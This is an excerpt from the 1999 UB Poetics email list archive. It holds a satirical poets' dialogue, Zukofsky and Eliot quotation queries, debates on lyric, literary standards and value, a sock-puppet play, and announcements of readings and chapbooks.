17th poet: i agree with Claire but can someone give me an example of poetix that comes out of practice?

1st poet: OK ahh.. now 1st of all i agree with Claire who i think was being a bit facetious about 2nd and his fragmentation but i think that he does have a tendency to ahh.. think of poetic possibilities as highly multiple. now i do in theory also. so maybe it's just a problem with my not being flexible enough but i have a tendency to work at one particular direction for some period of time until i've exhausted it possibilities and here's where i can answer 17; my work for 2 years or so that a lot of you have seen uses highly disjunctive strategies and i gradually developed by looking at what i was doing in my poems a theory about how poetry can use the pulling apart of language to express the parallel feeling of rage and disorder...

17th poet (interrupting): o my god.

1st poet (ignoring):...taking place both internally and externally in late capitalist society. now i'm moving into writing in a different vein and i see a different set of possibilities which are coming to me b/c i'm writing differently in my poems and so i am constructing a different poetix, one which isn't so specifically political, at least on the surface. this is why i wd say to 17 that i do seem to derive my poetix from my practice.

Smoking poet: practice or psychology? it seems like 17 is saying that our individual psychological make-ups are the active force in the construction of a poetix.

2nd poet: where does anyone go with that? Oh i'm off to stare into my navel see you at tea time.

3rd poet: so 1st seems to be saying that poetix is not for a single poem but for overall writing even over years.

1st poet: well it has seemed that way for me in practice. but as i said in principle i always felt like 2nd feels that it's good to try a lot of different things and so right now for instance i'm trying a number of different directions all at once because i'm in a period of transition but i have noticed that some of the directions i'm trying out seem kind of dead-endish to me so i may well end up pursuing one particular strategy in my writing in the next few years and i do feel that that reflects less some kind of generalizable theoretical truth than just my personality and the way i tend to work as a poet.

Smoking poet: it seems as if there is no argument on that particular score 1st is talking about a poetix growing out of the poetry and 2nd wants the door open to poetix constructed in advance...

2nd: but not just that

Smoking poet: right. but there doesn't seem to be any disagreement on this issue save that one prefers one way another, another. but i'm not at all sure that everyone here wd ascribe to the poetix is personal psychology thing that 17 said.

2nd poet: but 17 has no argument he just asserts.

17th poet: i also don't believe in generalizable theoretical truth. i've never met one of those but i have met lots of people and they have a personal psychology, and i've never heard anybody talk about poetix in any way that cd not also be explained by their personal psychology.

2nd: well, you really beg the question; what poetic notion of mine let's say can you explain by reference to my personal psychology? and i wd ask whether 'personal psychology' isn't itself a generalized truth as you use it? if as you imply everyone has one and you know what one is then you seem to be saying that it is true that we all have them and that you can put yr finger down atop it. whereas to me it seems like a poetix is frequently much easier to pin down for a fleeting moment than anyone's personal psychology.

17th: you wd say that, wouldn't you? OK so lets say that poetix and personal psychology are the same i don't mean to imply that they don't change or are not fluid. it's not one truth against another.

8th poet (with limp): you are all so relativistic! what i want to know is what goes on in yr mind when you hear some of these poems like poets in this group write. i mean often they seem to be a real welter of verbiage...

12th: word salad

8th poet:...with only a few really strong images standing out. what makes it work for you? is it just about taking apart narrative or is it about sound? image...?

3rd poet: when poets in the so-called mainstream write or listen to a poem that they like what goes on in THEIR head?

1st: they all have only one head

3rd poet: heads. what is it about their poetix that allows them to enjoy that?

Smoking poet: are we gonna get into mainstream bashing now? if so i'm gonna get another beer.

3rd poet: no it's a sincere question.

Smoking poet: well, if you can't answer the question why wd you expect that any of us wd be able to speak up for mainstreamers (snickers from poets 6, 9 and 11) i mean who here can talk about What Goes On the mind of the mainstream poet?

Poet who failed to get a number: why is it that we all get touchy about being named and yet we're willing implicitly to talk about the mainstream as if we knew what it consisted of?

Several poets in unison: so who is going to read this weeks poem?

17th poet: it seems that i'm the only one who has anything to read this week. but i don't want to read it because you're all going to be psychoanalyzing it. me.

Gertrude Steimpf: and no one had a poem to read that week and this was something that happened once and it is very interesting.

↑ Index

109. pete spence

Re: American Social Identity Survey

Mon 10 May 1999

> Well, Pete, I couldn't entirely limit my responses to 'physical objects,' but I tried to keep them within the limits of physical 'occasion'--i.e., those things which impinge upon us physically, in our 'real' lives. So:

>
>--Dan Zimmerman
>
,,sorry mr Zimmerman i just sorta floated a bit o' reaction caused by an almost zero feeling for the project ie. american artifacts seem to wash up on everyones bit o' coast and i don't get too excited by this detritus, so i tossed in my QUAINT "how do you say guns fifty times" as say off the cuff reaction///yrs pete spence

---

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

110. Billy Little
Re: query
Mon 10 May 1999

zukofsky said the first in a Test of Poetry and tseliot said the second in?Tradition and Individual Talent?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

111. Dodie Bellamy
Re: SPT Re:reads the New American Poetry / Small Press Traffic
Tue 11 May 1999

> dodie: how are Alan golding and M perloff poised on opposite sides of the fence? i have an intuitive idea of what you mean by this, but can you spell it out? thanks.

Maria,

I'm hesitant to speak for Marjorie--or Alan. It was Marjorie who told me that they had different positions on this issue of inclusion/exclusion--and it was her suggestion that they do a panel together--a great suggestion. Alan has told me they've been having an ongoing conversation, and since he's going to be in San Diego before the event, they're flying to San Francisco together. I hope they don't talk themselves out before they get here!

I think it would be best to report on what they actually say rather than my inevitable misrepresenting their intentions here.

x,
Dodie

Small Press Traffic Literary Arts Center
at New College
766 Valencia Street
San Francisco, CA 94110
415/[redacted]

↑ Index

112. Joseph Conte
Upper limit
Tue 11 May 1999

> Date: Mon, 10 May 1999 14:30:19 -0600
> From: "Maria Damon (Maria Damon)" <[redacted]>

>can someone tell me who said of poetry: "upper limit speech, lower limit >music"? (i'd just written and caught "lover limit music") i know it's >someone famous, but don't know whom.

> can someone tell me who said "bad artists borrow, good artists steal"?
>
> were they both ezra pound?

Maria:

Sure to be a flood of responses on these, but:

For
"An integral Lower limit speech
Upper limit music"

see Louis Zukofsky, "A"-12. Note that the limits of the integral are the other way 'round from your recollection.

And I believe the comment re: great poets stealing is Eliot, more or less about _The Waste Land_. But I can't recall off hand in which essay he says this. Anyone know?

Joseph Conte

↑ Index

113. david bromige
"experiment"/seeing thru....
Tue 11 May 1999

John Lowther, thru which part of the langpo charade shall we hope to have someday seen?

Golly, I havent even seen thru the "Charge of the Light Charade" yet. I'm still trying to see thru "Ode to Autmn." Sometimes I think I see. DHLawrence was annoyed that he couldnt see thru Shelley's "Skylark," altho he feared he could.

I guess I'm finding the terms too simplistic (I do not mean simple). On which day shall this seeing-thru occur? (Could one be unable to see-thru the following day? I mean, I was stupid yesterday but I'm here today. Maybe you or another find me stupid today but cant be certain abt yesterday.

Its the need felt for "standards" that's distressing me. If someone presents it as a poem, then thats what it is. I might not care for it. Deaf, blind to its beauties.

How does the question even arise (of hewing to some standard)? Seems to me, only because there are course curricula and a semster is only 15 weeks long, so we cant teach everything, and we cant go random, and we cant teach just what I/you like, so we need standards to shape a picture of cause and effect, the american family tree. But this has nothing essential to do with poetry. Has it?

Pardon my flurry.It addresses only a small portion of yr letter & the greater debate to which you allude. Whether it addresses it as friendly witness or otherwise I cant even decide. I dont even know that it addresses anything. I was startled, thats all. And yelped. David

↑ Index

114. Stephen Cope

Re: POETICS Digest - 6 May 1999 to 7 May 1999 (#1999-89)

Tue 11 May 1999

Rachel, list, et al -

Rachel's questions vis-a-vis the lyric are precisely what I was looking for in offering my brief commets/critique - although, in the spirit of the kind of "negative capability" valorized by one of those so-called "great" exponents of lyric, I'd prefer to leave them as questions, or questions that serve as comments on the elasticity of the genre. The lyric is multiple, and can withstand numerous, perhaps contradictory, manifestations (despite what Patrick Phillips notes as the "incapacity of rubrics to see them.")

This is in fact what I had in mind in mentioning "lyric tension," by which I might offer one provisional 9and somewhat formal) defintion of what interests me in lyric: that it is a form capable of embodying contradictory or dissonant elements - i.e. tensions that it needn't (or doesn't) resolve. This, I think, would include the binary terms Rachel mentions (I/thou, subject/objectified, etc.), although I am much more interested in work wherein such terms are confused or problematized. It's a defintion, in any case, that would regard the lyrical "I-buttressed-by-its-objectified-other" as a cop out on the potentialities implicit in lyric address. And one could find examples of what I'm after in the Romantic canon - even in the purportedly "great" poems. Keats's Odes, for example (arguments over the critical interpretation of which are possibly one place where a re-investigation of lyric practice - the "lyric tradition" as such - is being or has been staged).

More recently, I think of some of Creeley's early work - the famous "whenever I speak I speaks...-" a fruitful problematic wherein the categorical distinction between subject and object is all but broken down. Or, of Mackey's fractured "we" whose song is anything but co-optation. (Indeed, it might be interesting to turn up what differences obtain between the "we" in Mackey's Andoumboulou songs and the "we" of more conventionally "oppositional" poetries). Or what Gerald Schwartz brings up in mentioning the kind of "patching-in" to some energy source, which could be as Orphic as it is Job-like - i.e. it need not be a struggle, but could be construed in terms of enabling loss - and is an fact as ancient a trope for poetry as one might ever turn up.

I imagine this latter, in the lyric tradition, as having something to do with the muse, that most distinguished of Others in the Western poetic tradition, and a trope that is not without its overwhelming degree of baggage so far as gender is concerned. One could alternately, however, conceive of it in terms of what Susan Stewart proposes in her essay "Lyric Possession," where that latter term, by way of of a now somewhat well-worn reversal, is meant not in the proprietery sense, but denotes instead inhabitation. (It is an excellent essay that could serve as a starting point, I think, for any reconsiderations of lyric practice - contemporary or otherwise). We might think of "Muse and Drudge" this way - as one place, in any case, where the muse tradition's genderings are productively displaced...

Ok, enough for now,

Stephen

↑ Index

115. Leonard Brink

Emmanuel Hocquard, Norma Cole

Tue 11 May 1999

THIS STORY IS MINE:
Little Autobiographical Dictionary of Elegy,

the English version of Emmanuel Hocquard's

CETTE HISTOIRE EST LA MIENNE: Petit dictionaire autobiographique de l'elegie (NOTES, 1997), having been translated by Norma Cole is now available from Instress, PO Box 3124, Saratoga, CA 95070 for a mere US$4. Please make checks payable to Leonard Brink.

As with all Instress chapbooks, a sample can be seen at http://home.sprintmail.com/~windhover

↑ Index

116. Linda V Russo
Re: p o e t r y ; t e l i c o r n o t
Tue 11 May 1999

Or maybe the 'telic goal' of poetry isn't telic at all, it's anti-telic: to make sure there's no 'no poetry' -- the way that the 'telic goal' of medicine is to stave off death?

perhaps these terms are a little more inclusive (bearing in mind what Mr. Bromige had in mind) so that's it's not "what poetry is" that's at stake, but what the world (or the social and cultural complex) without poetry isn't.

Also, the notion of telos as you use it seems to propose some narrative trajectory which perhaps categorizes some poetry, but not poetry per se . . .

↑ Index

117. R Democracy
Re: Stephanie Williams
Tue 11 May 1999

I encourage you to:

Check out the poetry and fiction of the amazing S. Williams at the following site.

http://www.mungovsranger.com/frames.htm

↑ Index

118. Pritchett,Patrick
FW: translation day at DU
Tue 11 May 1999

> TRANSLATION DAY AT DU
> MAY 14
> The 1999 Leo Block Lecture Series and > the University of Denver Creative Writing Program > present
> A day of activities around issues of > TRANSLATION
>
> The Schedule
>
> 2PM a talk by MARY ANN CAWS > translator of Breton; scholar on the avant-garde > speaks on "Translating the verbal and the visual"
>
> 5PM readings by eminent local translators:

> Anselm Hollo
> Andrew Schelling
> Anne Waldman
> Mark Irwin
> & Brian Evenson
>
> 6:30 reception & time for conversation
>
> 7:45 Panel discussion on translation issues with > MARY ANN CAWS
> CHARLES SIMIC
> & ARTHUR SZE
> and audience participation
> Please come share your views, questions, etc.
>
> SATURDAY, MAY 15TH
> 7:30 PM
> CHARLES SIMIC reads his own poetry > reception follows
>
> All events at the Renaissance Room; Mary Reed Building
> DU Campus
> Questions? Call [redacted]

↑ Index

119. Mark W Scroggins

Re: Upper limit

Tue 11 May 1999

Joseph's right on the 1st one; the second's Eliot from his "Philip Massinger" essay--and it's not quite "bad" & "good" artists: "one of the surest of tests is the way in which a poet borrows. Immature poets imitate; mature poets steal; bad poets deface what they take, and good poets make it into something better, or at least something different." (Selected Essays 182)

Mark Scroggins

On Tue, 11 May 1999, Joseph Conte wrote:

> Date: Mon, 10 May 1999 14:30:19 -0600
> From: "Maria Damon (Maria Damon)" <[redacted]>
>
> can someone tell me who said of poetry: "upper limit speech, lower limit
> music"? (i'd just written and caught "lover limit music") i know it's > someone famous, but don't know whom.

> can someone tell me who said "bad artists borrow, good artists steal"?
>
> were they both ezra pound?
>
> Maria:
>
> Sure to be a flood of responses on these, but:
>
> For
> "An integral
> Lower limit speech
> Upper limit music"
>
> see Louis Zukofsky, "A"-12. Note that the limits of the integral are the other way 'round from your recollection.
>
> And I believe the comment re: great poets stealing is Eliot, more or less about _The Waste Land_. But I can't recall off hand in which essay he says this. Anyone know?
>
> Joseph Conte

↑ Index

120. Poetics List

Note on re: query

Tue 11 May 1999

I've just sent a few representative responses to Maria's query - the number of responses was overwhelming (25, give or take), and all with basically the same content:

1. Zukofsky; the messages sent to the list, regarding which there is disagreement, were the only replies to specify a source for the quotation.
2. T. S. Eliot; but only Mark Scroggins managed to recall the citation.

Sorry to those of you whose responses weren't sent - with so many all the same and so brief, it would have been absurd to send them all; so I lighted on those that with the greatest specificity. Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

121. Lowther,John

Bromige and Lowther a puppet play

Tue 11 May 1999

Bromige and Lowther a puppet play
(both socks ventriloquised by Lowther)

[the setting is within a computer monitor glass removed]

Bromige (with an exasperated wiggle of his tube sock self): John Lowther, thru which part of the langpo charade shall we hope to have someday seen? I havent even seen thru the "Charge of the Light Charade" yet. I'm still trying to see thru "Ode to Autmn."

Lowther (curling his snout): did you not notice that i was reacting to another? (gasps and turns head side to side as if asking for witness) i thought i had made such, if not crystal, at least available to the careful eye.

Bromige: I guess I'm finding the terms too simplistic (I do not mean simple). (...) Its the need felt for "standards" that's distressing me. If someone presents it as a poem, then thats what it is. I might not care for it. Deaf, blind to its beauties."

Lowther: and i too am distressed for all that my mismatched button eyes cannot adequately portray this to you----but i wd ask you are we really so trusting in the designations that others give? i wd like to think so, but if handed a bill and asked to pay i was told that the bill was also a poem i can see disagreeing, i can see at least some skepticism coming into play. but that is a sideline in some respects. the motive for my posting was a essay previously mentioned in this forum called PRELIMINARY NOTES ON LITERARY POLITICS which you cd find in the newest issue of rhizome.

Bromige: How does the question even arise (of hewing to some standard)? Seems to me,only because there are course curricula and a semster is only 15 weeks long, so we cant teach everything, and we cant go random, and we cant teach > just what I/you like, so we need standards to shape a picture of cause and > effect, the american family tree. But this has nothing essential to do > with poetry. Has it? (questioning tilt to an eye)
>
Lowther: i wdn't think so and yet there are people making claims like these for 'standards' and so i thought it might be worth asking every question i cd think of in response --- if only to suggest that others also take a look and state their thoughts as well.

and many i've talked to have said something like 'why not just ignore it?' and i wonder that too but what makes this such a weird thing that i feel in some sense compelled to respond to is that i love the rest of the issue of rhizome --- it's full of great work by lots of interesting folks --- and yet this essay...

Bromige (mouth around a punch glass): Pardon my flurry.

Lowther: no, pardon mine, perhaps i should have been more explicit?

Bromige: (yelping) I was startled, thats all. And yelped.

Lowther: yelp! yelp!

↑ Index

122. Pritchett,Patrick

Re: Left Hand Reading Series - May 18, 1999

Tue 11 May 1999

> * SPECIAL LEFT HAND READING SERIES AT TROUBADOUR BOOKS ****
>
> (Please note different location and time)
>
> This month, the Left Hand Reading Series will depart from its customary venue to hold a special reading in conjunction with Troubadour Books.
>
> TUESDAY, MAY 18, 7:30pm
>
> The featured readers are:
> Novelist RON SUKENICK
> &
> Poet LAURA MULLEN
>
> RON SUKENICK is one of America's most acclaimed avant-garde novelists and an indefatigable champion of the small press. He is the author of many books, including UP, DOWN & IN, and DOGGY BAG. His latest novel, MOSAIC MAN (Fiction Collective 2), is an exploration of Jewish identity in the fragmentary context of electronic and popular culture. He is the editor of American Book Review, Black Ice Magazine and Black Ice Books, and teaches English at the University of Colorado.
>
> LAURA MULLEN's first book, THE SURFACE, was a 1991 selection in the prestigious National Poetry Series. Her latest collection of poetry is AFTER I WAS DEAD (Univ. of Georgia Press) and her TALES OF HORROR is forthcoming from Kelsey St. Press. Mullen's work has appeared in The New Yorker, Antaeus and Lingo. She is a professor of English at Colorado State University.
>
> TROUBADOUR BOOKS is located at 1638 Pearl Street, Boulder, Between 16th & 17th.
>
> FREE - Donations are requested.

> An Open Reading will precede the featured readers.
>
> For more information, contact: Mark DuCharme ([redacted]) or Patrick Pritchett ([redacted]).
>
> The Left Hand Reading Series is funded in part by grants from the Boulder Arts Commission and AHAB.

↑ Index

123. Jeffrey Jullich
Questions on a HOW-TO [value]
Tue 11 May 1999

John Lowther's past three posts, in response to Standard Schaefer's essay, raises many unanswered questions. (Many, many questions.) One vein in that inquiry I read as about ~value,~ criteria, and standards.

> where are we to locate these 'formal criteria'
* > does experimental writing lack formal criteria ?
> or can we say 'this IS a poem' about anything we wish?
> in calling out for standards with which to judge are we not calling out for some authority?
> art wherein there are no standards of this sort and no communal goals > aren't there folks who wd like to say that there are standards and ways to say what is or is not valid as literary or artistic practice?

The next question that comes out of all these (like hydra heads!), for me, is: why do we ~need~ to keep returning to a practice of "literary value," criteria and standards? Clearly, work has become widespread in the past quarter century, if not earlier, which puts into question ("problematizes") or renders useless earlier criteria of judgment: "good"/"better"/"best", "like"/"dislike", "masterpiece"/"genius". Post-modernism has set into play a body of works where not only is it tenuous how to value one over another, but how to distinguish within a poem itself what portions might "succeed" and which "fail" according to any casual standards of criticism. (Hence, the shift in editorial practices, which are now as a rule a flat acceptance/rejection-- since how else to arbitrate between one line and the next?) And yet, the question ("does experimental writing lack formal criteria ?") keeps coming up, as though there were too strong a nostalgic attachment to a criterion-view of art for even the initiated to part with such (Solomonic) judgments.

I find it helpful to contextualize the anxiety over value, by placing it against the very much ~value-producing~ society that wants to think that way, namely, for want of a better word, our "capitalist" world ("free market") where the assigning of value -- literalized into value-as-price -- is the very essence of exchange. Then, the value and "criteria" we fret over not having for art becomes a ~metaphoric~ sublimation for the more decisive matter of price. What is "really" being asked is: what ~price~ am I to assign to this art, this poem, that poem? Then, what happens to this all-important compulsion to judge and value, when the work no longer bears easy markers for such a judgment-game.

It may be a weakness of mine to draw in visual artworks as analogies, which (like the Robert Morris) people then don't know how to take, but there sometimes seems something self-evident about the visual arts which, if it can be grasped, brings the same point, more elusive in literature, to the surface. This time I'd bring in Warhol's silkscreen and Duchamp's readymades as comparison. Once silkscreens entered into fine arts as a "means of production" (sorry), their labor-efficiency greatly jeopardized the earlier value-criteria of labor intensivenesss and time ("Can you imagine how long it took to paint that Wyeth!?"). That the market actually did absorb Warhols side by side with traditional, brushstroke paintings is remarkable: the Trojan Horse had then gotten within the gates; the computer virus has entered the system. -- The same crisis of value erupts around a Duchamp readymade, where there is virtually ~no~ conventional criterion of workmanship or virtuosity. But for Warhols and Duchamps to be weighed in alongside, say, a Monet or a pre-modernist, an Ingres, on the same equalizing scales of price and value meant that the value-game itself had fallen open into a gaping, undetected contradiction.

Now, just such a contradiction has entered into the body of contemporary literature, with poetries such as ~aleatory~ works, "concrete" or found poetry, the a-syntactical, etc. It makes perfect sense that a book like ~The Tennis Court Oath~ continues to take such a drubbing from the forces of "conservatism," because ~The Tennis Court Oath~ has not merely done ~badly~ what other poetries have done "better"; it has sidestepped, or transcended the very basis of production, of writing that was taken for granted: that a poet "think up" on his own all the words and word-orders within a poem. (Why don't we just continue to use qull pens and inkwells, the way Robert Graves did?) It isn't just that if we give it the old college try once more we can ~come up with~ new criteria and standards, the ghosts of obsolete criteria, a rigor mortis of value, and relax again into our tranquilizing, habitual need to dispense value. Irreconciliabilities have, surreptitiously, entered into "The System" of literature and canon,--- that are as incongruent with the "traditional" as an attempt by a capitalist/free market economy to communicate with a monastic or vow-of-poverty economy (thus, a digression: the persistent, odd leverage a Vatican can exert against First and Second Worlds, consistently advocating in favor of Third or ~Fourth~ Worlds that share with it an immunity or exclusion from standard financial profit). Free verse alone represented a serious anomaly that a ~Princeton Encyclopedia of Poetry and Poetics~ scrambled preposteriously to rationalize (invoking spurious precedents like the quasi-metered cadences of Hebrew psalmody, as justification).

For, without these ~systematized~ prestidigitations of criteria, the burden of a reader's experience falls back upon very different guideposts,-- such as the analysis of power relations ("What partisan interests benefit from this work?"), "taste," nepotisms of who-knows-who, etc., that makes the lingering compulsion for value break down, unveiled, into a much more ~gritty~ host of determinisms. With "taste," do I even have a ~choice~ to like or dislike, or hasn't my allegiance of approval to an earlier work predetermined my obligation to "like" similar later works?

Along these lines, when Marjorie Perloff -- is it fair to mention her name? (hi, Marjorie) -- at the Barnard conference dropped the petite scandale of publicly asking what anybody sees in the poetry of Jorie Graham (invoking criteria such as "rhythm"! as though anyone in the room could still scan a Sapphic from an ithyphallic), I thought that a lost opportunity, . . . whereas had the question been re-framed as, say, "Given that, with a popular and reputable figure like Jorie Graham, I can't see anything in her work and I trust three-quarters of you can't either, ~what are the mechanisms~ of career-building, marketing, or the production of hype that could have so ignored the obvious?" that would have, in turn, provided a link back to the same mechanisms that advanced the reputations of the other seven readers, and the entire phenomenon of Language/lyric poetry. In other words, once the nebulousness of "taste" is put aside, what critique is forced to fall back upon are all the very ~real~ agencies of publicity, the prestige of select publishing venues, croneyism, whatever, but ~real.~

It becomes not a question of "How was it?" but ~"What~ was it?"

That's where the equal sign in "L=A=N=G=U=A=G=E" becomes emblematic. One way a spectre of this may have entered into earlier discussions was in the misunderstanding that Language Poetry could "mean anything" . . . as if people were correct in sensing that there might be some ~equivalence~ at play somewhere, but were off-the-mark in placing it at the semantic, instead of at the level of value. But the original, macrocosmic crisis of value is taking place around us all the time, in the fatuous equivalencies that capital, that the dollar can establish between complete incompatibles! I don't know if we ~should~ hope to be liberated, or exonerated, from a crisis of value in poetry/art at the microcosmic level. The discomfort that results from these aesthetic equivalencies or undecideabilities may be an aperture through which the art-consumer can reach a broader understanding of the criterion-lessness at play in the culture at large. We may just be becoming ~un-deluded~ in literary/poetic spheres, about what still passes for unquestionable around us.

↑ Index

124. Maria Damon (Maria Damon)

Re: Upper limit

Tue 11 May 1999

---

thanks to all who have responded!

↑ Index

125. derek beaulieu / house press

Writers for change - a cross canada tour

Tue 11 May 1999

> PRESS RELEASE
> WRITERS FOR CHANGE-- A CROSS CANADA TOUR
>
> Five contemporary young Canadian writers will read at EM Media on > Tuesday, May 18 at 7PM.
> The Vancouver chapter of the Asian Canadian Writers' Workshop is > pleased to announce Writers for Change, a project to tour five > writers--
>
> Rita Wong (monkeypuzzle, Press Gang 1998), Ashok Mathur (Once Upon > and Elephant, Arsenal Pulp Press 1998), Rajinderpal S. Pal (pappaji > wrote poetry in a language i cannot read, TSAR 1998), Tamai Kobayashi > (Exile and the Heart, Women's Press 1998) and David Odhiambo (diss/ed > banded nation, Polestar 1998)-- across the country late this spring.
> The writers will begin their tour in May 1999 and travel to Vancouver,
> Calgary, Winnipeg, Toronto, Montreal and Halifax. In each of these > cities they will visit local high schools in order to share their work > and discuss contemporary writing practices with Canadian students. Of > particular but not exclusive focus to the discussions will be > questions of tradition, historical context, race and language.
Writers
> will also discuss their own writing practices in order to give > students a concrete sense of what it might mean to choose such a > life's path. It is hoped that the visits will inspire among students a > passionate and on-going relationship with contemporary Canadian > literature. The tour will also include at least one public reading in > each city. Of the five writers, Rita Wong may be known among some of > you as the 1997 winner of the Asian Canadian Writers' Workshop > Emerging Writer Award. Her 1998 book of poetry, monkeypuzzle has been > described by Calgary poet Fred Wah as "... salt and tongue poetry, > with the intensity and taste of a lover... pungent in its insistence > on the body marked and still breathing." > David Odhiambo's first novel diss/ed banded nation is a > polyrhythmic rap on urban life. The novel winds through jazz singer > Benedict Ochieng's final days in the underbelly of Vancouver, where he > hides out in a seedy flophouse on the city's east side, evading > immigration officials. With leaps of language and jump-cuts in > perspective, Odhiambo fuses lush memories of Kenya with an unflinching > portrait of North American urban life.

> From Toronto's Future Bakery to the Old Man Dam in southern > Alberta, Tamai Kobayashi's Exile and the Heart reveals the ordinary > and extraordinary lives of Asian Canadian lesbians and their families > with a quiet, intense passion. Sharron Proulx Turner writes of > Kobayashi's work: "[Her] writing is rich and fluid, yet there is an > incredible simplicity which creates a still-life quality in the full > of the round."
> Rajinderpal S. Pal's pappaji wrote poetry in a language i cannot > read is a series of poems that form a narrative whole. It leaps > between past and present, between childhood and adulthood and between > languages. Issues of cross-cultural politics and relationships are > addressed. He also touches upon loss across generations and migrations > across continents. These questions are entwined with the search for > the poet-father and the attempt to come to terms with the past.
> Once Upon an Elephant, a hilarious first novel by Ashok Mathur, is > a fantastical contemporary re-telling of the creation story of Ganesh,
> the elephant-headed Hindu deity. When the police find the remains of a > young man's head and an elephant's body they assume a murder has been > committed, and the suspected killer goes to trial. But the courtroom > appearance of Vignesvara, a manifestation of Ganesh with a young man's > body and an elephant's head, throws things into chaos: witnesses who > testify in languages other than English, an accused who grows extra > arms at will, and a murder victim who refuses to stay dead.

>
> Members of the press wishing interviews with any of the writers are > invited to contact co-ordinator Larissa Lai at [redacted] or by > e-mail at [redacted].
>

↑ Index

126. kathylou
Re: Nathaniel Mackey is
Tue 11 May 1999

What day is this reading?
Psych-ola: I've been in SF for several years and have yet to hear Nate Mackey read here. Promises to be fabulous.
Kathy Lou Schultz
> Reading from What Said Serif
> 7:30 pm
> Modern Times Bookstore
> Valencia St.@20th

↑ Index

127. Pritchett,Patrick
query
Tue 11 May 1999

I'd be grateful to anyone who could supply me with the email addresses for E. Tracy Grinnell and Heather Thomas.
Patrick Pritchett
[redacted]

↑ Index

128. Christopher Reiner
L.A. Reading this Sunday
Tue 11 May 1999

Joel Kuszai and Bill Marsh will be reading this Sunday, May 16, at

Cafe Balcony
12431 Rochester Avenue
(corner Santa Monica & Centenela)
Los Angeles, California

Time: 4 p.m.
Admission: $5 (and it all goes to the readers)

Joel Kuszai was born in Michigan, schooled at Reed and SUNY-Buffalo. He is the editor of Meow Press, which has published over 60 chapbooks since 1991. He is currently rewriting _The Wizard of Oz_ "with some help from Marx and others." Some of his earlier work can be found at: http://writing.upenn.edu/epc/presses/meow/ephemera.html

Bill Marsh lives in San Diego where he teaches writing and other multimedia arts. His work has appeared in a few on and off-line journals like Tinfish, the germ, Web Conjunctions, Witz, and Zine(n) New Media. His chapbook Making Flutes was published by Potes & Poets Press in 1998 and he has another one forthcoming from Wild Honey. Bill also edits PaperBrainPress featuring chapbooks and other paper and digital productions. More information on his work and his press can be found at http://bmarsh.dtai.com/

The reading is sponsored by L.A. Books, a coalition of presses in Los Angeles (Littoral Books, Rhizome, Ribot, Seeing Eye Books, and Witz. For more info on L.A. Books: http://www.litpress.com.

↑ Index

129. Stephen Ellis
Re: NOTLEY on
Tue 11 May 1999

Chris,

love without politics is bottled wetland water from wetlands now extinct, despite they're still on the map. Have a drink: it all looks like fill gravel from here.

Stephen

> From: Chris Stroffolino <[redacted]>
> Reply-To: UB Poetics discussion group <[redacted]>
> To: [redacted]
> Subject: NOTLEY on "the youth"....
> Date: Sat, 8 May 1999 11:03:14 -0400
>
> Hello---
> I love Alice Notley's writing, old and new,
> and I love the challenges she raises

> and the provocations, etc....
>
> in recent COMBO magazine interview, she talks about
> "an extremely exciting younger generation right now"
> (without naming names)
>
> and says, among other things...
> "They're these people between about 23 and 36....
> They're not very political, and I wish they were more political."

I know Alice sometimes lurks on this list, and am curious if she'd be interested in elaborating on this lack of politics she perceives...

But, if she doesn't, perhaps others could...
I think there's a LOT of political in the younger...

speaking for myself, I've been told sometimes that my work is TOO political...

of course, it mixes politics up with love...

if the personal is the political,
if "politics" (in the global sense) without love (in the personal sense) is like suburbs without cities, or cities without farmland, then what is love without politics?

been thinking of poor phil ochs lately...

there's so many issues here she raises, i'm not going to go too deep now...

but i am interested in looking for other ways to frame this question,
because i respect and admire notley's poetry,
and her desire for a return perhaps to a more blatant concern
with politics on a content level,
a moving beyond coterie politics,

and i'm glad she can say "I HATE THE CAR" more blatantly than, say, barrett watten in his "bride of the assembly line piece"....

but i think she perhaps hasn't become made aware that there are certainly much politics (unless she means something different by politics than i think she does) in writers between 23 and 36...

.....just curious....

chris stroffolino

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

130. komninos zervos
Re: Invitation to a Thought Experiment
Tue 11 May 1999

---

teach students html, give them internet accounts, and ask them to find sites with creative writing/authoring that excites them, sites which can not exist as print publications, sites which employ the properties of the internet(interactivity, hypertext, images, audio, animation), find out why they are impressed by these sites, and ask students to create their own sites with these qualities in mind. if they are thinking about writing in a new space then they will have to think creativly to write for this new medium, whilst utilizing all the traditional devices of literature. conducting creative writing classes in primary school i found the best way to encourage creative writing was to offer exercises with strict structures, eg haiku, limerick, acrostic poems. students had to think creatively to provide the content whilst having fun with the form. it was the same in secondary school except the forms changed, to list poems and raps. teaching at university i find that html provides the new fun form that makes the creative writing purposeful for their expression in a modern medium.

writers of the future will be writing for digital media, will need to start thinking in spaces not surfaces, will be able to call on the auditory and visual senses, as well as the cognitive and emotional.

html is easy, anyone can do it, but good websites are hard to find.

hope i haven't embarrassed myself too much with this post.
i'm sure you have plenty of good ideas of your own.
it sounds like you were just wanting 'a little bitch' about work.

regards
komninos

At 04:06 PM 5/12/99 -1000, you wrote:
>Dear poetics kine folks--
>
>I direct, though that is hardly the word, a creative writing program >that is in exquisite need of re-thinking. So I'll share my thought >experiment with you: You are assigned the task of running a creative >writing program. What would you do? What functions would you assign to >the program? What kinds of courses would you teach? What should >faculty do _aside from_ teaching their courses? (I have ideas of my >own, but am eager to see what some of the rest of you come up with.)

>
>Two provisos: You are given no money and you are dealing with a group of >people that doesn't work together well and doesn't welcome change.
>
>But really, please dream on...the more positive the better!
>
>best, Susan Schultz
>
>

↑ Index

131. Katie Degentesh
9x9 News
Tue 11 May 1999

One World Cafe, located at the juncture of Baker and McAllister streets in San Francisco's Western Addition, is for a limited time showcasing a complete catalog of 9x9's Pushcart Prize-winning broadside series. Featured artists include J. Tarin Towers (who won a 1998 Pushcart for her broadside "Mission Poem"), the Mysterious Mr. Clam, Paul LaFarge, Eugene Ostashevsky, David Cameron, Brandon Downing, Cyd Harrell, Michael Palmer, Elizabeth Treadwell, Sarah Anne Cox, Yedda Morrison, Daphne Gottleib, Katie Degentesh, Edmund Berrigan, Alan Kaufman, Hank Hyena, and others.

